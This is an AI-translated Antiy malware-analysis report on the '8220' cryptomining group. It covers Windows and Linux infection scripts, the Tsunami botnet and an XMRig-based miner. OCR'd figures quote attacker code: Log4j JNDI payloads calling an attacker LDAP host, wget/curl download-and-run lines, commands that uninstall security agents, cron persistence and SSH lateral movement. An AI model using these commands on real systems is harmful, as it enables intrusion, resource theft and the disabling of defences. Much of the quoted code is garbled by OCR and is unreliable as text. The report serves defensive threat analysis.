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The original report is in Chinese, and this version is an Al-translated edition.

1 Overview

Since January 2022, Antiy CERT has captured multiple batches of attack samples from the "8220" mining
organization. This mining organization has appeared since 2017 and has been active, spreading malicious scripts to
both Windows and Linux platforms. The downloaded payloads are Monero mining programs and other botnet

programs, port scanning and blasting tools, etc.

"8220" is a long-standing group known for exploiting vulnerabilities and deploying mining programs. Initially,
the group used Docker images to spread mining trojans, and later expanded their reach by exploiting multiple
vulnerabilities, including Web Logic, Redis unauthorized access, Hadoop Yarn unauthorized access, and Apache
Struts. In 2020, the group was discovered using SSH brute force attacks to spread lateral movement. Since the
exposure of the Apache Log4j 2 remote code execution vulnerability, the group has exploited it to create exploit

scripts for widespread dissemination.

Shell script on Windows to download a Monero mining program. This program uses the open-source XMRig
mining program for mining, version 6.16.2. The script also has functions such as connecting to mining pool addresses
and creating persistent scheduled tasks. On Linux, the Shell script was used to download the mining program, which
also performs lateral movement, downloads the Tsunmai botnet, and scans for malicious files such as brute-force
exploitation scripts. Verification indicates that the mining program is an adaptation of the open-source XMRig

Monero mining program and conceals the mining process and the creation of scheduled tasks.

It has been verified that the Windows and Linux versions of Antiy Intelligent Endpoint Protection System

(IEP) can effectively detect and kill the mining Trojan and provide practical protection for user terminals.
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2 ATT&CK Mapping Diagram Corresponding to the Incident

The attacker deployed a mining Trojan to the target system. The ATT&CK mapping diagram corresponding to

this attack incident is shown in the figure below.
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Figure 2-1 ATT&CK mapping diagram corresponding to the incident

The following table lists the techniques used by the attackers:

Table 2-1 ATT&CK technique behavior description corresponding to the incident

ATT&CK stage/category

Specific behavior

Active scan

Leverage public-facing applications

Utilize command and script interpreters

Utilize scheduled tasks/jobs

Hidden Behavior

Obfuscate files or information

Brute force
Scan network services
Collect local system data

Resource hijacking

© Copyright by Antiy. Reprinting without loss is welcome

Notes

Exploit vulnerability scanning

Utilize public-facing applications such as
Java

Use PowerShell and shell scripts
Set up a scheduled task

Hide malicious processes
Obfuscation using Base 64

Brute force attack on SSH service

Scan SSH service

Collect sensitive information from the
local system

Utilize system CPU resources
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3 Attack Process and Propagation Path

3.1 Attack Process

"8220" organization uses a Power Shell script named "xms.ps1" on Windows platforms to perform its primary
functions, including downloading a mining program named "wxm.exe", an open-source Monero mining program
called XMRig, disabling firewalls, terminating competing mining programs, hiding mining parameters, linking
mining pool and wallet addresses, and adding scheduled tasks and registry startup entries to achieve persistence. On
Linux platforms, a Shell script named "xms" is used to perform its primary functions, including maximizing system
resource utilization, disabling firewalls, terminating competing mining programs, uninstalling security software,
creating persistent scheduled tasks, performing MDS5 verification on mining programs, downloading the Tsunami
botnet and mining programs, and collecting host identity information for lateral movement. The Tsunami botnet's

primary functions include remote control, DDoS attacks, and other malicious activities.
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Figure 3-1 Attack Process
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3.2 Propagation Path

Get the URL address, download the "testlog 2.py" file, and execute it.

chater m -cf
wget - <D > 02 || curl ~[asSL - L1 php -2 || pythen -c
> Il lvp-dowmliocad Il we -q -0 - > I our -£sSL
chmod +x
)
IR
od
3£ | S(pang ~c 1 s.oracimsmsvics, top 2>/dav/null|geesp ‘bytes of data® | wo =1 ) ~g !
then
rae Ll liRad ————
olse

¢ /t 1og92.py Jtemtlogl.py
chmod +x /scan2 ﬂ
nohup /1t 1['«44-‘ -g oll -p 44 4] T > Jtap/ipddd.txt ANTIY

4l.txt | grep -v awk ' ‘> Jtmp/ipa.choak
k

while read h; do
0 ftestlog.py MStpai /08 23/dev/nall 1>/dev/mull &

Figure 3-2Log4j 2 exploit script
Log4;j 2 vulnerability exploit code.

import requests
import base64
import sys
import re

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable warnings(InsecureRequestWarning)

Simple script exploit for CVE-2021-26084
def check(url):

list endpoint = [

"/websso/SAML2 /SLO/vsphere.local
SAMLRequest=",
"/portal/info.jsp"

"/api/login"

"y

for 1 in list endpoint:

endpoint = url + 1

h = {

'User—-Agent': p{jﬁll ldap://192.3.194.202:1389/o=tomcat}"’',
'X-Forwarded-For': '5{jndi:1ldap://192.3.194.202:1389%/0o=tomcat}
'Accept-Language': 'S{jndi:ldap://192.3.194.202;: l3bjfg—,gmca-,
'Referer' : '${jndi:ldap://1582.3.194.202:8080/0o=tomcat}

}

try:

r = requests.post (endpoint, headers=h, verify=False)

except KeyboardInterrupt:

exit (0) 5%5*

check(sys.argv[l])

Figure 3-3Log4j 2 exploit code
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3.3 Attack Incident Sample Compilation

The following information is obtained by sorting out the samples based on the attack incidents:

Table 3-1 Attack incident sample collection

Sample download address Detailed description

Linux malicious shell

Tsunami botnet

Log4j 2 Exploitation Script

Windows Monero mining program
Tsunami botnet

Tsunami botnet

Scan blasting

Download the Tsunami botnet program
Windows Malicious Power Shell

Linux mining program

Table 3-2 Windows Mining pool address and wallet address in the mining script

Mining pool address Wallet address

46E9UKTFqALXNh2mSbA7WGDoa2i6h4 WV gUgPVdT9ZdtweLRvAhWmbvuY 1dhEmfjHbsavK X03
eGfSZRb4qIzZFXLVHGY H4moQ

Table 3-3Mining pool address and wallet address in Linux mining programs

Mining pool address Wallet address

46E9UKTFGALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY 1 dhEmfjHbsavK Xo3
eGf5ZRb4qJzZFXLVHGYH4moQ

4 Protection Recommendations

Antiy recommends that companies take the following protective measures against illegal mining:

1. Install terminal protection: Install antivirus software. For different platforms, we recommend installing the

Windows/Linux version of Antiy Intelligent Endpoint Protection System.
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2. Strengthen SSH passwords: Avoid using weak passwords. It is recommended to use passwords that are 16
characters or longer, including a combination of uppercase and lowercase letters, numbers, and symbols.

Also, avoid using the same password on multiple servers.

3. Update patches in a timely manner: It is recommended to enable the automatic update function to install
system patches. Servers, databases, middleware and other vulnerable parts should be updated with system

patches in a timely manner;

4. Update third-party application patches in a timely manner: It is recommended to update third-party

application patches such as Web Logic, JBoss, Redis, Hadoop, and Apache Struts in a timely manner;

5. Enable logs: Enable key log collection functions (security logs, system logs, error logs, access logs,

transmission logs, and cookie logs) to provide a basis for tracing security incidents.
6. Host reinforcement: perform penetration testing and security reinforcement on the system;

7. Deploy an intrusion detection system (IDS): Deploy traffic monitoring software or equipment to facilitate
the discovery and tracing of malicious code. Antiy Persistent Threat Detection System (PTD) uses network
traffic as the detection and analysis object, and can accurately detect a large amount of known malicious
code and network attack activities, effectively discovering suspicious network behavior, assets and various

unknown threats;

8. Antiy Service: If you are attacked by malware, we recommend isolating the attacked host promptly and
securing the site while waiting for security engineers to investigate the computer. Antiy's 24/7 service

hotline is: 400-840-9234.

It has been verified that both the Windows and Linux versions of Antiy Intelligent Endpoint Protection System

(IEP) can detect and effectively protect against mining Trojans and botnet programs.
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Figure 4-2 Antiy IEP Linux version provides effective protection

5 Sample Analysis

5.1 Windows Sample Analysis

Table 5-1Script file

Trojan/Win32.Ymacco
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Original file name e ERE

MD5 52EC97E2246C28FA92A0C37A510BF67E
File size 2.16KB (2,212 bytes )

Interpreted PowerShell

language

YT first upload 2021-11-19

time

VT test results 22/57

Define the Monero mining program address, save path, mining program name and other information, and disable

the firewall.

scc = "ttt .-/ . . . "
$sys=-join ([char[]])(47..07+57.. ) | Get-Random -Count (Get-Random (2..:2)))
$dst="Genv:Apphata\net "

$dst2="Senv: TMP\networl ; " é

netsh advfirewall =&t allprofiles state off -“"'E*

Figure 5-1 Download the mining program

Terminate the competing mining program process, traverse the ports 3333, 4444, 5555, 7777, and 9000

connected to the process, and then terminate the processes connected to the above ports.

t 1 nebtwork(®*, kthreaddi, syscv, sysrv01Z, syasrv0ll, sysrwll0, syserv00* -ErrorAction SilentlyContinue |
Pe
f | Wher it t 1 3t nd 5 .pname 2 "[kthraaddi]® |} |
$list = netstal -ano | fLindsetr TCP
for (84 = '; 81 -1t $list.Length; $ies) |
$k = [Text.RegularExpressions.Regex)::Split($list($a).Trim(), ' ) é
if ($k{ '] -match ' 141: y { .mmE*
St Procasy -id $k[1]

)

Figure 5-2 End the competition

The miner program "wxm.exe" was downloaded and renamed to a local file name, with mining parameters

hidden. The program was linked to the mining pool and wallet addresses. Scheduled tasks and registry startup entries

were added to achieve persistence. Verification confirmed that the downloaded miner was the open-source Monero

mining program XMRig , version 6.16.2 .
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if (1 (C=t-Procosz *network02] -Ezrord SilentlyContinue)) |(
(New-Object Net.MWebClient) , Downl el )
(fiew-Object Net.MebClient),DownloadFile(' o v |

Start-Process *
" -windowatyle hiddan

ichtasks Joreate /¥ / minute /mo Jtn " VAR
reqg add AECUNSOFTHARE\Microsoft\Windows\CuttentVerslon\Run /v Bun /4 "
* Jt REG_SE
/
schtaszks Joreate fF / minote /mo Jtn " Jtr

rag add HKCU\SOFTHARE\Microsoft\Wi n.‘los;.f. \CurrentVersion\Run /v Run2 /d " { 1 I ga *
‘ ANTrY
W ! AhW £4n ] * Jt R
/1
Figure 5-3 Connect to a mining pool

5.2 Linux Sample Analysis

5.2.1 xms (Linux malicious script)
Table 5-2 Script file

Virus name Trojan[Downloader]/Shell. Miner

Original file name 4l

MD5 6A4ESC6ECSEFE777FA85E240A02EB883
File size 11.54KB (11, 820 bytes)

Interpreted Shell

language

YT first upload 2022-04-20

time

VT test results 28/58

Disable the firewall, adjust the maximum number of processes available to users to 50,000, and modify memory
parameters to maximize system resource utilization. Terminate competing mining programs and remove file attributes

to allow modification.
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4! /oin/bash
SHELL=/Bin/bash
PATH=/abin: /bin;
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Susr/abln: fuar/fbin

satantores 0 2>/dev/null

ulimit -u 50000
sysctl -w vm.nr
netstat -antp |
netatat -antp |
netstat -antp |
netatat -antp |
natatat -antp |
natatat -antp |
netstat -antp |
netstat -antp |
netstat -antp |
netstat -antp |
netstat -antp |
perstat ~antp |
natstat -antp |
netstat -antp |

huwpnga:-é(( grep -o pxocossor /proc/cpuinfo’ * 1))

grep | awk ' | sed o ": ' | xargs kill -%

grep ‘- | awk ' | sed ~o * /5" | xargs kill -%

grep ' | awk | ! "l osed -w " ¢ " | xargs hill -5

grep ' | awk '/ t | wed -0 " fo® " | xargs kX111 -5

grep ' | awk 'lprint "] sed o L9 | wargs ki1l B

grep ' | oawk ' t Y] sed va " : " | margs kill -&

grep ': | awk | it ‘| sed -0 * *//9" | xargs kill -%

grep ' boawk ool | sed -0 * " | xargs kill -&

grep ':iii I awk ' [print | sed ~& * ‘Jg" | xargs kill -5

grep ' ! | awk ' { Y sed o " Yia" | margs kill -4

grep ' 100 | oawk ' t ol osed - T *J/g" | xarge ki1l ~6

grep ', i fl avk print 1" 1 sed & . "l xaxgs kill -0
grep 'll4.] ') awk ! (print ‘) sed o ! . ' | xaxgs kill -%
grep ' SAART ) awk ! t | sed w ' > ‘| xargs kill -!

rand=§(seq 0 255 | sort -R | ba-d -nl) ﬁa *
ANy

rand2=§ (seq 0 255 | sort -R | bead -nl)

chattr -1 -a /fetc/cron

/oot [etc/cron.dlapache [fvar/spoolfcron/root /varfspool/cron/crontabs/root Jetc/cron.hourly/

vansceonarl Jete/init,d/down

Download two

if ps aux | grep

Figure 5-4 Maximize system resources

script files to uninstall security software on the infected host.

-£ "[n un': then

(wget -q -C - hitp./lupdate.aegls.aliyun,con/download/uninatall shilourl -5 http://updets. sagis.aliyun.conf/donnload/
unlinstall sh) fhash: Iwp-download hetp:/lupdate. segla.al lyun comfdowntoad/uningtall ah fenp/uninstall, sh; bash /tog/

uninatall.ah

h:gat -q o - h pollupdate sagla.allyun.com/dovnload/quarts uninatall.shllourl -2 bhttpo//update.

Aegis.aliyuo.com/
ahl ibash; lwp-download hitp://updata.aegiz.aliyun.com/download/quarts uninstall.zh /tmp/

uninstall.sh; bash Jtmp/uninstall,sh
pkill aliyun-service

m -rf /etc/init

.d/agentwatch fusr/sbin/aliyun-service

m -t fusr/local/eegis*

systamctl otop

allyun,servics

systamet] disable allyun.service
sexvics bom-agent stop

yum romove bop-

apt-get ramove

agant -y
bem-agent -y

elif ps aux | grep -1 '/} then
/u=rilocal/qcioud/ = t:rqstﬂ/adn..n/unxn_tsll ah

Jusr/local/qelond/Yunding/uninat .oh QE *
Jusellocal/gqelond/monitorfbarad/adain/uninatall, ah ANy

fi
sleep |
echo "I

Figure 5-5 Uninstall security software

Ensure connectivity to the malicious domain name and create a persistent scheduled task.

22 [ §ipang -¢ 1 a.oracleservice.top 2>/dev/oull|grep "bytes of data® | we -1 ) -gt '0' |
than
apl=tutig Sy
else
urls"pory
£i
echo -© ( | 1 tt :
i L ) " [} i) ] il '
nht 2 Iulc/-"l’l e !Im"'
echo -» * . ‘ rl -{x51 [ T ' ! 1 t t i
il urtin *3url " 11011 ba p-3 il ' 1 1 ! in I
I nke" > ,ll[t/ roan. d/.m.xu-:.
wcha -e lrur) [ 3ur i | vy | W “Arport urllibd o v
tt I " 1 bt $ v L y
nts" > /oL / ron.d/nginx
athe & "* ( 1 1 ! ZpoKt L
\ i L | odi1'1] ba v w! vl
ngt" > /Mr)"!r-:-_-l/' ran/root

mkdir -p fvar/s pucl/c_rc-nlcmnub:

echo -» **
r Lo

echo *

| ! ! i/ | t ] i/ Ipyt ' ! rllil

1" > Irar/:pf-:vl/rrn/\ r;n':bw/rcw-
mkdir -p /otc/czur. bo uxly

. O - -

> /ﬂtr/ Ton. 'mully/r:r.n ronerct | otnod I-tr/rnn Hnurlvlrman necl
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Figure 5-6 Create a scheduled task

MDS verification on the mining program.

if [ -a "/tmp/dl §%.°3
then
if [ -w " { ] &6 [ ! -4 "/tmp/dl $".-3
then
if [=-x " n i v
then
sum=$ (md5sum /tmp/dbused | awk '{ print 81 }')
echo fosun
case “=sum in
dc3d2ZelTdfecefBdfdlicetblebad922] | 7009e5badS74e4e7£04433431d0d8£63)
echo ” : .
‘)
echo " &4 v
rm -rf /usr/local/lib/libkk.so
echo "" > /etc/ld.so.preload

pkill -f wc.cont
pkill -f susss

sleep 4

esac

£i
echo "

else
DIR=$§ (mktemp ~d) /tmp
mkdixr SOTI
echo "’

fi

else
if [ -d ]

thenhm: : ﬂE*

£fi
echo '
fi

Figure 5-7MDS checksum
Verify that the mining program and Tsunami bot are running through the network connection. If they are not

running, re-download and execute them.

get /% tunawe -m) /dbused
x /dbused
/dbased ¢

fdbused ~ps

ie [t ' 5§3§5E5’E

get Jbashive, § (unsss -m) Mbashlye; chaod +X /baahic /basniyo: s ~1f /bashira

Figure 5-8 Download the Tsunami bot

Maintain the normal operation of scheduled tasks. Once it is detected that a scheduled task has been deleted, the

scheduled task will be re-executed.
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(wystanctl ia-mative crond)
ronatded {aystasct] ix-active atd)

i | e then
aecho

alig | v then
echo

elif | - | =hen

wlen
n

it | L 1 wras

fox in Siat <1 |ank [peint 51) ') do at L dane

wcha | at = Now minute

12 | g 111 I than

Zunde AL ALt
acha
pa auxiigrep -v grwpigeep | ek Ixmzgs ELlL

g l;
wcho -« » PR =runer 66 chmod PR/ o ne e ¥ E *
notup BEREEERENIN oruner >/dew/nu >l & ANTIY

=leep

m -rt SERERREE DI
23

|

cruntische

Figure 5-9 Keep scheduled tasks running

SSH keys, history, and configuration files stored in hosts such as /.ssh/config, .bash history, and
/.ssh/known_hosts to discover attack targets and find corresponding authentication information. Check ~/.ssh/config,

~/.bash_history, and .ssh/known_hosts to attempt lateral movement.

Figure 5-10 Lateral movement

5.2.2  bashirc (Tsunami Botnet Program)

The Tsunami botnet operates based on the command and control server of Internet Relay Chat (IRC), and
modifies the DNS server settings in the configuration of the infected device, so that the traffic from the IoT device is
redirected to the malicious server controlled by the attacker. The Tsunami botnet mainly spreads by downloading
with downloaders, exploiting vulnerabilities, remote login scanning, etc. The main functions of the Tsunami botnet
program are remote control, DDoS attacks and other malicious behaviors. Antiy has previously analyzed the Tsunami
botnet in detail in "Analysis of the precise deployment of the Tsunami botnet and the "Magic Shovel" mining

trojan" ,['1 so we will not analyze it in detail here.
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MNOTICE %s
NOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s

:Panning %s.\n

TSUMAMI <target= =secs=\n
Tsunami heading for 9%s.\n
(UNKNOWN =target= <secs=\n
{Unknowning %s.\n

MOVE =server=n
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NOTICE %

MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
MNOTICE %s
TSUMNAMI

TSUNAMI =target> =secs>

:PAN <target= =port> <secs=>
{UDP <target= =port> <secs=>
UNKNOWN =target= <secs=
(NICK =nicks=

:SERVER =server=
{GETSPOOFS

:SPOOFS =subnets

:DISABLE

:ENABLE

KILL

'GET =http address= <save as=
VERSION

(KILLALL

:HELP

:IRC <=command =

iSH <command =

Killing pid %d.\n

= Special packeter that wont be block...

= An advanced syn flooder that will ki...
= A udp flooder\n
= Another non-spoof udp flooder\n
= Changes the nick of the client\n
= Changes servers\n
= Gets the current spoofing\n
= Changes spoofing to a subnet\n
Disables all packeting from this client\n

Enables all packeting from this client\n
= Kills the client\n

= Downloads a file off the web and s...
= Requests version of clientyn
= Kills all current packeting\n
= Displays this\n
= Sends this command to the server\n

=L

= Executes a commandin

Figure 5-11 Tsunami botnet

scan (Scan Blasting)

Use the scanning tool to brute-force the intranet port 22 and save the results in the /tmp/ssh_vuln.txt file, filter

it into the /tmp/ips_check file, and download xms (a malicious Linux script) and execute it after the brute-force is

complete.

if
s
if |

£

i€ [ -£

s

/h
an |/ then
as
scan | then
Yacia
! "l’,l'
¢ 'e -n
poca
grep ~of
™ '
ngea ., a2 moet -u > zangpms
do
3
2 Cat p »> g
P/a I grep | awk

| grep | grep -v

aln, cut
| uniq | shuf > /rap/ips.check

Figure 5-12 Intranet scanning and blasting
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5.24 load (Download the Tsunami Botnet Program)

Download sshexec and sshpass. If the download fails, download lan.tar.gz, which contains the Tsunami botnet

program. Decompress it and execute it to collect sensitive information.

lgsep ~v 255 | Bbasd -nl)

DIRm' oz
ed on
=+t ICIN/zasexec
Af [ Siping -o 1 bash givexexys.in Z>/dev/null|grep “bBrtes of daxa” | we -1 | -9t 0" ]
then
urk= oL nann.givee
alse
L2 S LA FIFPFFEEINE VO ) PESE
1
if [ ! -2 Lpia/sshesee | ¢ thea
get Susl/sshexen $OIR/ashexec
2

i [t ~f Join/ashpass | thea
Qet Buil/sadpass foiy/ashpass

i
42 | ! <2 IDTR/len.tar.ga |/ them
qut Ousi/les.tar.gx POIN/lun.tut.ge
173
cheod +2 Plunhnxer
chmed +2 r/ashpass
if [ ! -f (DIn/oparte.txt | then
oche "Iht 1 {
alae
qut cl/lan.taz. g2 /'.n./.n_ L.L 4.
15" SCPPATEm" tp" Execipaecs” " D= Jexg i " QT ) v " POET™"
ConnectTimmoat=" 10" ztzluxna:l!‘y.r-.kxnr‘. Formate" ISR A A eatmxec zpacte,txt
"YES" OM0="{curl -= NCtp 77208 140 40, 1300mmn || wyst # l g 1 down I oed
h /oaplomy 1w -1f oy U

AVuZRA 0 IOt Ly Sy ™MD T O Tiknmavh

[RSRT AT T AR 1 -
ConmmetTissentai0% Striztunt BuyChucting="20" forgat-"USED PA=E IF" ,/sahexoc spacte.tx)

MORT=*21% Uanrfnosnfiatsfilss® * Batchdod

Figure 5-13 Collect sensitive information

525 x86_64 (Linux Mining Program)

It has been verified that the mining program is an adaptation of the open source mining program XMRig. It can

run without a configuration file, hides its own process after running, and creates a persistent scheduled task.

{714%:1, fsonrpe = "2 0", "eethod®  “login®, “params™:

{ " lagin® : "A6E MR TF gALXNI JaShATHC DGR 2 1 BhANEUGPVA TITdtusl Ruihikebuu Y 1anEnt Tl koGS IRDAG ) 1P XL VHGYHASQ" , “pass” s “[ 132 . 158, BB. 139-20 ] [ huixlachu |
(hatxisohu-virtual-machine | [1][35-4598] ", "agent™  "punRig/ (by pwned) (Linux x85 &4) Iibuv/1.41.@ goc/8.3.87,"algo™:["eafl™ , "cn /2", “cn/r”, "on/Fast™ , "on/
half™, “cn/xa0", “on/rto”, “on/rez®, “cn/zls”, “onfdouble”, "o dite/1%, “co heavy /0, “an-heavy/tube” , “cn-beavy/whv™  “cn-pico®, "cn-pico/tio”, “cn/cex”  “en/
upxE®, e, “reiwon”  Crxfarg”, Tre/sfx S rafkeva”, “angonl/chukwe” , “argon2/ chitosnd”, “argonZininia”, “astrobwt™ 11}

{“Jsonrpc™ 1 2.0%, " 547 11, “error® s nul ], “resud 07 {7 (0" “4TIME270220ME ", " job "' :

{"hlon " "BuReB eI IB65629F LB 39204 2 TA2AC I EFABCBSATII2E4EA3 T 2001 #6646 db a2 255505 57 4000000006 Thec 2084061 3d9635ITFESFCINTLE58207c 1001 FUB3a0c @3 96034468
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26190219, "seed_hash”: "RbEO06B0c FEelicadd2e Taattabc21clacdalbbdaf et 1AL Thiea@iteal” , "tanget™ 1 "1 1100000"  “1d" 1 "ATIME2 70229928  "algo” 1 "rx/

07}, "status" 1 K"} }

{"method™: “job", “params™

{"Bles” : TEeBea 2bFNGI065645 4084 15 240bE2 7424 31 FABCASETIII6dBAT 7200 1#S6d6d U2 255505¢ 5 70400DO0CER TR 1T 1 SRZMEL F6BASE I6ABFEE1 HUL 27355 71906685 AN I 304 cadZe
BE5029307 ,"job_147:"2375346481108937, "holgnht™

2618219, seed_hash”™: "00GRd6D00 fEe@6cadi2e 7anbEalc 24 clacdalbbdal cer@] Jafal  Thdea@ Vea)"  “target " 1 “ 711000007 “1d™ "ATIME270229945°  “algo" 1 “ox/

0"}, " jsonrpc”:“2.0"%)

{ 4d% 23, " Ironrpe® = 2, 0" , “method®: "subwit”, “params”:

{7147 £ " 472946270229548” , " Jub_17:"237534613118893", "nonce ™ TualS08"  "rusu] T "caT177 36057000500 n 2ba ST EE9I AR RBASE3IS R0 0L D51 2a e ILUITIADTOE" ) |
{"§somrpc™:"2.87, 14712, "orrorT 2null, "rasult” H{ "statusT 0K 1 }

{"mothad™:"J0b", “parems”1

{“blob": “Relea2bf e 0650497084 192ddb627d2ac J1 FaRCHSET I 32648437 20010840600 22 589055 70 20000006 bAc 399 586 c Fddeb el Qaat2abBboBc 26909 220 74 2 166680 SotiBs
ebde@535", " Job_14":"TWI269208516313% , “height "¢

2618719, "sued_hash" - "BUGAIEE0EFEaRECANB20T AEEMHC T Fr 1 atAu1DEUAF CabDI TETAL FTDARMA I Twa 3", “Lurget " 1 " IRILESOR" " Ld" : "ATIME2TN2299488" , “alyn"  ry/

2}, "fsonepc”i"2.9%}

{"1d7:3, " 1s0nrpc” s 2,07, “wethod® [ “subeit”, “paraes”

{7147 - 747290622 2FMB" " Jo_1a" 1 " T07269298516313", “nonce™ : THSUM0"  “resule” s "9Sdf LU 3T 120200 F8a 142601 20 20) Feach21 D1 Ynlts Sibcbaibilenad e} )
{"Jsmnrpe™ 2,07, " 54%:3, “error® sngl], “resul t s {"status " "0K"} }

{71478, " Jaonrpe” = "2 07, "sethod"  “subelt” "params”:

{7147 :7472546778229548" , " Job_1487 . T7872692385163137, "nonce™ 1 " 34B66000" , "rasult T "aBcF970ded 30 F3Aa509540209355549F 0950840871302 TIS164B1 T4 256" } )
{"fsonrpc™:"2.87,% 167 14, "errorT inell, “result™ i{"status "z "OK"}}

{1475, Jsonrpc”: *2 0" “wethod™ : “subeit”, “params*'t

{7447 "47204627922F348" , " Job_1¢" : *TNT260296516313, “nonce ™ i “B207ONE" , “resul t T “SELAGIebeEc 03050 T daf actANT FRAC A F 526345 N504E ST TDAGEDAS 1900 } }

{7 ivomepe™ 2. 8%, " 14" 15, "arror” anull, Vrasult”  {"status " 0K} }

{719°:5, "Jsonroc™: 2.0, Teethod" | 'sum:' “params”

{"4d%:"472946270229348" " Job_13" 1" M7 269298516310, 'ncnn'-‘2m‘.'nsu1r~"o.ususnarznuulnalnus)mmmanunmmgmnw‘l!

{1427, " Jsonrpc: "2.8", “wethod™ 1 “subwit”, “parsea”
{14 " 47290627027¥M3" , “ Job_i8" - “F07269296516313%, “nonce™ 1 “20000800" , “result” s *TeScaTldds 3548Teb1 1 b 261 7626378 3485 fombOOShAANMLATF
{"Jrewrpe™i"2.0%, 'u‘ &, .rm aadl, "ressdt T {"status " 0K )
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Figure 5-14 Mining program traffic
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17ES55153BE42BFA30BEB2E613F41732E
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185.157.160.214

a.oracleservice.top

hxxp|:]//a.oracleservice.top/bashirc.i686

hxxp|:]//a.oracleservice.top/armv7l

hxxp[:]//a.oracleservice.top/bashirc.

hxxp|[:]//a.oracleservice.top/scan.sh

hxxp|:]//a.oracleservice.top/logic.sh
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Appendix 2: About Antiy

Antiy is committed to enhancing the network security defense capabilities of its customers and effectively
responding to security threats. Through more than 20 years of independent research and development, Antiy has
developed technological leadership in areas such as threat detection engines, advanced threat countermeasures, and

large-scale threat automation analysis.

Antiy has developed IEP (Intelligent Endpoint Protection System) security product family for PC, server and
other system environments, as well as UWP (Unified Workload Protect) security products for cloud hosts, container
and other system environments, providing system security capabilities including endpoint antivirus, endpoint
protection (EPP), endpoint detection and response (EDR), and Cloud Workload Protection Platform (CWPP) , etc.
Antiy has established a closed-loop product system of threat countermeasures based on its threat intelligence and
threat detection capabilities, achieving perception, retardation, blocking and presentation of the advanced threats
through products such as the Persistent Threat Detection System (PTD), Persistent Threat Analysis System (PTA),
Attack Capture System (ACS), and TDS. For web and business security scenarios, Antiy has launched the PTF Next-
generation Web Application and API Protection System (WAAP) and SCS Code Security Detection System to help
customers shift their security capabilities to the left in the DevOps process. At the same time, it has developed four
major kinds of security service: network attack and defense logic deduction, in-depth threat hunting, security threat
inspection, and regular security operations. Through the Threat Confrontation Operation Platform (XDR), multiple
security products and services are integrated to effectively support the upgrade of comprehensive threat confrontation

capabilities.

Antiy provides comprehensive security solutions for clients with high security requirements, including network

and information authorities, military forces, ministries, confidential industries, and critical information infrastructure.
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Antiy has participated in the security work of major national political and social events since 2005 and has won
honors such as the Outstanding Contribution Award and Advanced Security Group. Since 2015, Antiy's products and
services have provided security support for major spaceflight missions including manned spaceflight, lunar
exploration, and space station docking, as well as significant missions such as the maiden flight of large aircraft,
escort of main force ships, and Antarctic scientific research. We have received several thank-you letters from relevant

departments.

Antiy is a core enabler of the global fundamental security supply chain. Nearly a hundred of the world's leading
security and IT enterprises have chosen Antiy as their partner of detection capability. At present, Antiy's threat
detection engine provides security detection capabilities for over 1.3 million network devices and over 3 billion smart
terminal devices worldwide, which has become a "national-level" engine. As of now, Antiy has filed 1,877 patents in
the field of cybersecurity and obtained 936 patents. It has been awarded the title of National Intellectual Property

Advantage Enterprise and the 17th (2015) China Patent Excellence Award.

Antiy is an important enterprise node in China emergency response system and has provided early warning and
comprehensive emergency response in major security threats and virus outbreaks such as "Code Red", "Dvldr",
"Heartbleed", "Bash Shellcode" and "WannaCry". Antiy conducts continuous monitoring and in-depth analysis
against dozens of advanced cyberspce threat actors (APT groups) such as "Equation”, "White Elephant", "Lotus" and
"Greenspot" and their attack actions, assisting customers to form effective protection when the enemy situation is

accurately predicted.

Antiy official website Antiy WeChat
www.antiy.cn Subscription Account
Antiylab
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